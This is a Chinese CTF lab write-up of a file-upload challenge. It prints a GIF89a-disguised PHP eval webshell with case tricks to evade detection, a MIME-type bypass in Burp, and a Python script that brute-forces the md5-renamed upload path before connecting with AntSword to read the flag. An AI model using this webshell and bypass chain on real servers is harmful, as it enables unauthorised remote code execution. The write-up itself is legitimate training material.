目录
[(1)GIF89a - 文件头欺骗](#(1)GIF89a - 文件头欺骗)
[(4)status code排序](#(4)status code排序)
[1、浏览器 hackbar访问](#1、浏览器 hackbar访问)
本文详细记录了CTF-PTE靶场文件上传关卡的渗透测试过程。通过构建含GIF89a文件头的PHP脚本绕过服务器检测,利用BurpSuite修改MIME类型实现文件上传。随后使用BurpSuite的Intruder模块和Python脚本暴力破解文件存储路径,成功获取WebShell连接权限。最终通过蚁剑工具访问服务器文件系统,获取flag完成挑战。整个过程展示了文件上传关卡的完整利用链,包括文件头欺骗、MIME绕过、路径枚举等技术要点。
一、文件上传
1、打开靶场
打开靶场URL链接,页面如下所示,提示"文件上传是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,"文件上传"本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。尝试获取webshell,答案就在根目录下key.php文件中。"

2、开始答题
点击开始答题,如下所示进入了文件上传的真实页面,具体如下所示。

3、构建脚本
新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头"GIF89a"绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的EVAL($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。
GIF89a
<?php
echo "mooyuan";
@EVAL($_POST['ljn']);
?>
(1)GIF89a - 文件头欺骗
-
这是一个GIF图片的文件头标识,GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是
47 49 46 38 39 61,对应 ASCII 字符就是GIF89a。右键16进制编辑,如下所示,关注这个脚本的文件头内容,其符合gif格式的文件头标识。 -
目的是让服务器将PHP文件误判为图片文件,绕过安全检查

(2)PHP代码部分
echo "mooyuan";
@EVAL($_POST['ljn']);
核心后门功能 :包含PHP代码@EVAL($_POST['ljn']),该代码会执行通过POST参数ljn传递的任何PHP指令,为攻击者提供远程服务器控制权限。PHP 函数名不区分大小写,所以 EVAL() 和 eval() 是同一个函数。这里使用大写是为了绕过基于字符串匹配的简单内容检测 (因为检测代码可能只查找小写的 "eval")
隐蔽输出 :echo "mooyuan"用于在访问时显示正常内容以掩盖恶意行为,同时@符号用于抑制错误信息输出避免暴露。
4、直接上传php后缀脚本
开启bp,同时浏览器代理指向bp,选择mooyuan.php文件并点击上传,如下所示。

观察页面变化,如下所示提示图片上传失败,服务器应该是有对php后缀的脚本进行过滤。

5、bp抓包
使用burpsuite进行抓包,inception设置为on,如下所示。

再次上传mooyuan.php,此时报文被bp拦截,具体如下所示。

6、修改报文的MIME
将MIME字段改为image/gif,具体如下所示。

7、上传成功
点击inception off,页面提示"图片上传成功 路径:网站根目录/md5(文件全名+rand(1, 1000)",接下来我们需要根据提示获取脚本的URL地址。"

二、获取脚本URL地址
1、构造原理
假设文件名为mooyuan.php,随机数为42,网站地址如下所示。
URL = "http://2dc56a22.clsadp.com"
original_filename = "mooyuan.php"
random_num = 42 (以随机数42为例)
计算过程如下所示,从而计算出脚本存储的URL地址。
提示:网站根目录/md5(文件全名+rand(1, 1000)
hash_input = "mooyuan.php42"
md5_hash = hashlib.md5("mooyuan.php42".encode()).hexdigest()
# MD5结果: "5d41402abc4b2a76b9719d911017c592"
server_filename = "5d41402abc4b2a76b9719d911017c592.php"
URL:http://2dc56a22.clsadp.com/5d41402abc4b2a76b9719d911017c592.php
2、方法1:burpsuite法
(1)访问URL并发送到intruder
访问如下URL并将其发送给bp的intruder模块,具体如下所示。
http://2dc56a22.clsadp.com/mooyuan.php

(2)配置intruder
①配置position
选中文件名部分,即"mooyuan"然后点击右上角的add,如下所示添加完毕后左下角显示1 payload position。

②配置payload
payload配置为number,数字范围为1到1000,step为1,如下所示。

③配置前缀
增加前缀为我们上传的文件名,我的环境中上传文件名为mooyuan.php,故而我们需要配置前缀为mooyuan.php,我们目前实现的就是1-1000中的数字,与前缀mooyuan.php的结合,如下所示。
original_filename = "mooyuan.php"
random_num = 42 (以随机数42为例)
hash_input = "mooyuan.php42"

配置完毕效果如下所示。

④配置哈希函数处理
由于题目提示文件名为"网站根目录/md5(文件全名+rand(1, 1000))",也就是说我们还需要对其进行md5处理,接下来我们增加哈希函数md5处理,这里要特别注意前缀处理在先,md5处理在后,具体如下所示。
hash_input = "mooyuan.php42"
md5_hash = hashlib.md5("mooyuan.php42".encode()).hexdigest()

配置完毕后效果如下所示。

(3)开始攻击
点击开启攻击,效果如下图所示。


(4)status code排序
找到status为200的报文,说明上传的脚本名为/d0186865bba54942945731a98b624ea9.php,
脚本的URL地址为:http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php
具体如下所示。

此时报文request如下所示。
|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| GET /d0186865bba54942945731a98b624ea9.php HTTP/1.1 Host: 2dc56a22.clsadp.com User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 |
此时报文response如下所示。
|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| HTTP/1.1 200 OK Content-Length: 15 Content-Type: text/html Date: Mon, 20 Oct 2025 10:56:21 GMT Server: Apache/2.4.7 (Ubuntu) X-Powered-By: PHP/5.5.9-1ubuntu4.26 Connection: close GIF89a mooyuan |
点击response的render,对其进行渲染,效果如下所示,说明这个脚本名正是我们上次的脚本。

3、方法2:python脚本法
(1)构造脚本
构造python脚本,通过遍历所有可能的随机数组合,生成对应的MD5文件名,然后通过HTTP请求验证文件是否存在,本质上是一个基于已知规则的路径枚举工具,通过系统性的尝试来发现隐藏的资源位置。源码内容如下所示。
import requests
import hashlib
def find_file_url(original_filename, website_url="http://2dc56a22.clsadp.com"):
"""
通过暴力尝试找到服务器上的文件URL
"""
print(f"查找文件: {original_filename}")
print("尝试随机数范围: 1-1000")
for random_num in range(1, 1001):
# 计算MD5哈希和文件名
hash_input = f"{original_filename}{random_num}"
md5_hash = hashlib.md5(hash_input.encode()).hexdigest()
file_extension = original_filename.split('.')[-1] if '.' in original_filename else ''
server_filename = f"{md5_hash}.{file_extension}" if file_extension else md5_hash
file_url = f"{website_url}/{server_filename}"
# 尝试访问URL
try:
response = requests.head(file_url, timeout=3)
if response.status_code == 200:
print(f"✅ 找到文件! 随机数: {random_num}")
print(f"📁 服务器文件名: {server_filename}")
print(f"🔗 文件URL: {file_url}")
return file_url
except:
pass
# 显示进度
if random_num % 100 == 0:
print(f"进度: {random_num}/1000")
print("❌ 未找到文件")
return None
if __name__ == "__main__":
filename = "mooyuan.php"
found_url = find_file_url(filename)
print(f"🎉 最终URL: {found_url}" if found_url else "😞 未找到文件")
分析脚本的执行流程,具体如下所示。
开始
↓
输入原文件名 → 遍历1-1000随机数 → 生成MD5文件名
↓
构造完整URL → HEAD请求验证 → 文件存在? → 返回URL
↓
继续下一个随机数 ← 文件不存在
↓
全部遍历完成 → 返回未找到
(2)运行脚本
运行结果如下所示,mooyuan.php上传后重命名为d0186865bba54942945731a98b624ea9.php。
|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| 开始查找文件: mooyuan.php 尝试随机数范围: 1-1000 ================================================== ✅ 找到文件! 随机数: 59 原始文件名: {'mooyuan.php'} 哈希输入: {'mooyuan.php59'} MD5值: {'d0186865bba54942945731a98b624ea9'} 📁 服务器文件名: d0186865bba54942945731a98b624ea9.php 🔗 文件URL: http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php 📊 文件大小: 15 字节 ================================================== 🎉 最终找到的文件URL: http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php |
三、访问脚本
1、浏览器 hackbar访问
http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php
ljn=phpinfo();

2、蚁剑工具连接
http://2dc56a22.clsadp.com/d0186865bba54942945731a98b624ea9.php
密码:ljn

3、获取flag
双击会话或者右键文件系统,进入服务器的文件系统,如下所示。


双击key.php,查看key.php(/var/www/html/key.php),如下所示成功获取到flag。
